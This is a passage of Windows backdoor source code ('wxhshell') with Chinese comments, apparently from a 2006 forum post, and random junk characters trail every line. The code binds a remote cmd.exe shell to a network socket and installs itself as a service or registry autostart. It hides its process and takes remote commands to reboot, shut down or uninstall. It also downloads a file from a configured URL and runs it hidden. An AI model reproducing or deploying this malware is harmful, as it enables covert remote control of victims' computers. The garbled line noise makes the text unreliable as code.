    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -\,VGudM}  
    else gKQ@!U U8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +]L)>$6  
    break; SALCuo"L  
    } J/7 u7_  
  // 卸载 (`mOB6j  
  case 'r': { Y6;@/[_  
    if(Uninstall()) {6tx,;r(F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }AAbhr9d}  
    else )"~=7)~<^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :BDviUC7Z  
    break; k4mTZ}6E  
    } 4#@0T"T~M  
  // 显示 wxhshell 所在路径 h@Dw'w  
  case 'p': { i*A$SJ:}  
    char svExeFile[MAX_PATH]; hvcR.f)C>  
    strcpy(svExeFile,"\n\r"); u[J7Y  
      strcat(svExeFile,ExeFile); 6#-Z@fz%  
        send(wsh,svExeFile,strlen(svExeFile),0); 5j1 IH,yW  
    break; %w@ig~vD'  
    } c8\g"T  
  // 重启 l~{T#Q  
  case 'b': { qL~Pjr>cF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /0!$p[cjm  
    if(Boot(REBOOT)) cuNq9y;[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >rRjm+vg  
    else { )#mW7m9M#  
    closesocket(wsh); !$XO U'n  
    ExitThread(0); G`WzJS*}v  
    } #nDL  
    break; 5Wl,J _<F  
    } (ai72#nFtb  
  // 关机 C64eDX^  
  case 'd': { -%N}A3m!5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rZ 6@b  
    if(Boot(SHUTDOWN)) jaNH](V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '[xut1{  
    else { A7e_w 7?a  
    closesocket(wsh); Qvs(Rt3?y  
    ExitThread(0); WT1q15U(=  
    } *IVD/9/  
    break; s'2y%E#  
    } &U8 54  
  // 获取shell ur`}v|ZY  
  case 's': { "SDsISWd  
    CmdShell(wsh); AF QnCl Of  
    closesocket(wsh); Q!Msy<v  
    ExitThread(0); >sB=\  
    break; LsUFz_  
  } 739l%u }<  
  // 退出 8Q)y%7 {6  
  case 'x': { ?n73J wH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a6OrE*x:D  
    CloseIt(wsh); 7dsnv)(v  
    break; wsna5D6i  
    } 8L@UB6b\  
  // 离开 jCam,$oE  
  case 'q': { 5Bzuj`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .v$ue`  
    closesocket(wsh); IcO9V<Q|  
    WSACleanup(); &0FpP&Z(  
    exit(1); Z,(%v.d  
    break; 0FN~$+t)H  
        } mp muziH  
  } 8o%E&Jg:  
  } M_|M&lR>  
)m oo?Q  
  // 提示信息 Py}!C@e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M55e=  
} %y!   
  } U3(L.8(sA  
8rnb  
  return; lS>=y#i3Xv  
} *yL|}  
$Cut  
// shell模块句柄 ]5aux >.n  
int CmdShell(SOCKET sock) Z&BM%.NZJ  
{ 44g`=o@  
STARTUPINFO si; ^?81.b|qb  
ZeroMemory(&si,sizeof(si)); \E>%W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tOu90gu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vK[v eFH  
PROCESS_INFORMATION ProcessInfo; tP/GDC;  
char cmdline[]="cmd"; cob9hj#&7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V;/ XG}M  
  return 0; G}Q}H*  
} }:K\)Pd  
Z^jGT+ 2  
// 自身启动模式 c4FOfH|  
int StartFromService(void) oC ^z_AtZ  
{ |% la  
typedef struct eYnLZ&H5O  
{ k4]R]=Fh.  
  DWORD ExitStatus; F&>T-u-dog  
  DWORD PebBaseAddress; 6~>^pkV  
  DWORD AffinityMask;  4Ub?*  
  DWORD BasePriority; weTK#O0@v  
  ULONG UniqueProcessId; z{7,.S u  
  ULONG InheritedFromUniqueProcessId; gs^UR6 D,  
}   PROCESS_BASIC_INFORMATION; Cnb[t[hk+j  
@$K![]oD  
PROCNTQSIP NtQueryInformationProcess; ;7B2~zL  
l{B< "+8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )dUd`g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;+aDjO2(  
\xa36~hh40  
  HANDLE             hProcess; ,.1&Ff)S  
  PROCESS_BASIC_INFORMATION pbi; S5YDS|K  
A`+(VzZgJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0KNH=;d}  
  if(NULL == hInst ) return 0; Sm~? zU[k/  
u|:UFz^p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Cf WK6>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %-0em!tUV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q_UCF'f;}  
x);?jxd  
  if (!NtQueryInformationProcess) return 0; 61t-  
q70YNk}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +J}k_'4&  
  if(!hProcess) return 0; h|$zHm  
& y 2GQJE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }lr fO_  
bUZ&}(/  
  CloseHandle(hProcess); z[<pi :  
: .UX[!^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k;AV;KWI'  
if(hProcess==NULL) return 0; U)T/.L{0i  
JXRmu~W~l  
HMODULE hMod; :IOn`mRYu  
char procName[255]; x 1 R!  
unsigned long cbNeeded; :&\E\9  
`tUeT[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ).O\O)K  
#Fb0;H9`  
  CloseHandle(hProcess); [|P]St-  
%te'J G<  
if(strstr(procName,"services")) return 1; // 以服务启动 ,<Do ^HB/  
2t Z\{=  
  return 0; // 注册表启动 7J)Hwl  
} %\s#e  
tjc5>T[Es8  
// 主模块 0B!mEg  
int StartWxhshell(LPSTR lpCmdLine) ;Wp`th!F  
{ 5 p(t")  
  SOCKET wsl; hVQ+ J!qD  
BOOL val=TRUE; ttJ:[ R'  
  int port=0; -* -zU#2|  
  struct sockaddr_in door; ix_$Ok  
;d'O.i=  
  if(wscfg.ws_autoins) Install(); ?!Th-Cc&m  
B'[3kJ'  
port=atoi(lpCmdLine); &_Xv:?  
"KQ\F0/  
if(port<=0) port=wscfg.ws_port; o*5e14W(:  
R}K5'`[%ZY  
  WSADATA data; a 7mKshY(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P PIG?fK)  
J6?_?XzToT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;74 DT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d$G%F$BTs  
  door.sin_family = AF_INET; XDv7#Tv_wv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ybuSqFy`$  
  door.sin_port = htons(port); / F  
|M{,}.*CU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ysw6hVb  
closesocket(wsl); ?X5glDZ$  
return 1; SieV%T0t1  
} 13NS*%~7[  
pC?1gc1G  
  if(listen(wsl,2) == INVALID_SOCKET) { 2L{:H  
closesocket(wsl); C#u)$Ds  
return 1; p Z|nn  
} 2 3XAkpzp$  
  Wxhshell(wsl); 3=eGS  
  WSACleanup(); My43\p  
xQ(KmP2hl  
return 0; dpOL1rrE  
 ~d<`L[  
} iLQt9Hyk  
HS7 G_  
// 以NT服务方式启动 r^ Rcjyc1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =;-ju@d  
{ V IRv  
DWORD   status = 0; oqU#I~ -  
  DWORD   specificError = 0xfffffff; -|iA!w#31  
=S7C(;=4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EKJc)|8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t1_y1!u Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7^ Q$pT>  
  serviceStatus.dwWin32ExitCode     = 0; R~mMGz  
  serviceStatus.dwServiceSpecificExitCode = 0; i?s&\3--Y  
  serviceStatus.dwCheckPoint       = 0; 07WIa@Q  
  serviceStatus.dwWaitHint       = 0; sNan"  
sN \}Q#:8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nQ(:7PFa'  
  if (hServiceStatusHandle==0) return; x_^OS"h-  
0 6v5/Xf  
status = GetLastError(); 68G] a N3  
  if (status!=NO_ERROR) 3@WI*PMc  
{ LW8{a&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "u$ ]q1S  
    serviceStatus.dwCheckPoint       = 0; BtBt>r(*  
    serviceStatus.dwWaitHint       = 0; ]KV8u1H>  
    serviceStatus.dwWin32ExitCode     = status; di P4]/%1  
    serviceStatus.dwServiceSpecificExitCode = specificError; /JY ph^3][  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^eT>R,aB  
    return; ,Z\,IRn  
  } FYE9&{]h  
*V<2\-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Jj _+YfIM  
  serviceStatus.dwCheckPoint       = 0; p 7E{es|J  
  serviceStatus.dwWaitHint       = 0; n[p9$W`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [Kj#KJxy  
} >IydXmTy  
Spw=+z<<Ub  
// 处理NT服务事件,比如:启动、停止 |Btx&'m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q~8&pP8 I!  
{ Env}gCX  
switch(fdwControl) a9q?9X  
{  C(Gb  
case SERVICE_CONTROL_STOP: O5n] 4)<  
  serviceStatus.dwWin32ExitCode = 0; BE@H~<E J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; aNf3 R;*  
  serviceStatus.dwCheckPoint   = 0; n7YWc5:CaL  
  serviceStatus.dwWaitHint     = 0; OG$iZiuf  
  { E$zq8-p|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {(:)  
  } .`8,$"`4)  
  return; ?g1 .-'  
case SERVICE_CONTROL_PAUSE: DB= cc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #3ro?w  
  break; vT<wd#  
case SERVICE_CONTROL_CONTINUE: U=1`. Ove  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `U>b6 {K  
  break; ,OFr]74\  
case SERVICE_CONTROL_INTERROGATE: Vy*Z"k  
  break; !suiqP1\*  
}; 5v-;*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OMC|.[  
} Kpbbe r  
@<{ #v.T  
// 标准应用程序主函数 wI]>0geb*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hp%Pg &  
{ lcJumV=%>  
+OP:"Q_#  
// 获取操作系统版本 ,]N%(>ot  
OsIsNt=GetOsVer(); >knR>96  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G:s:NXy^  
jWm BUHCb  
  // 从命令行安装 >$9yQ9&|  
  if(strpbrk(lpCmdLine,"iI")) Install(); B{i;+[ase  
uWT&`m_(2  
  // 下载执行文件 49kia!FR  
if(wscfg.ws_downexe) { `r bqYU0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6_ 0w>  
  WinExec(wscfg.ws_filenam,SW_HIDE); v-aq".XQ  
} 2Ab#uPBn  
E|#R0n*  
if(!OsIsNt) { QX3![;0F  
// 如果时win9x,隐藏进程并且设置为注册表启动 a;6\T*iJ!  
HideProc(); {Ag}P0% '  
StartWxhshell(lpCmdLine); P`v~L;f  
} -L<Pm(v&  
else oD2;Tdk  
  if(StartFromService()) \ } Szb2  
  // 以服务方式启动 85~h+Q;  
  StartServiceCtrlDispatcher(DispatchTable); zt%Fvn4/pF  
else [gY__  
  // 普通方式启动 UR=s{nFd  
  StartWxhshell(lpCmdLine); 8-lY6M\R\  
*N+aZV}`Z  
return 0; q%&7J<   
}
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只看该作者 1 发表于: 2006-10-10
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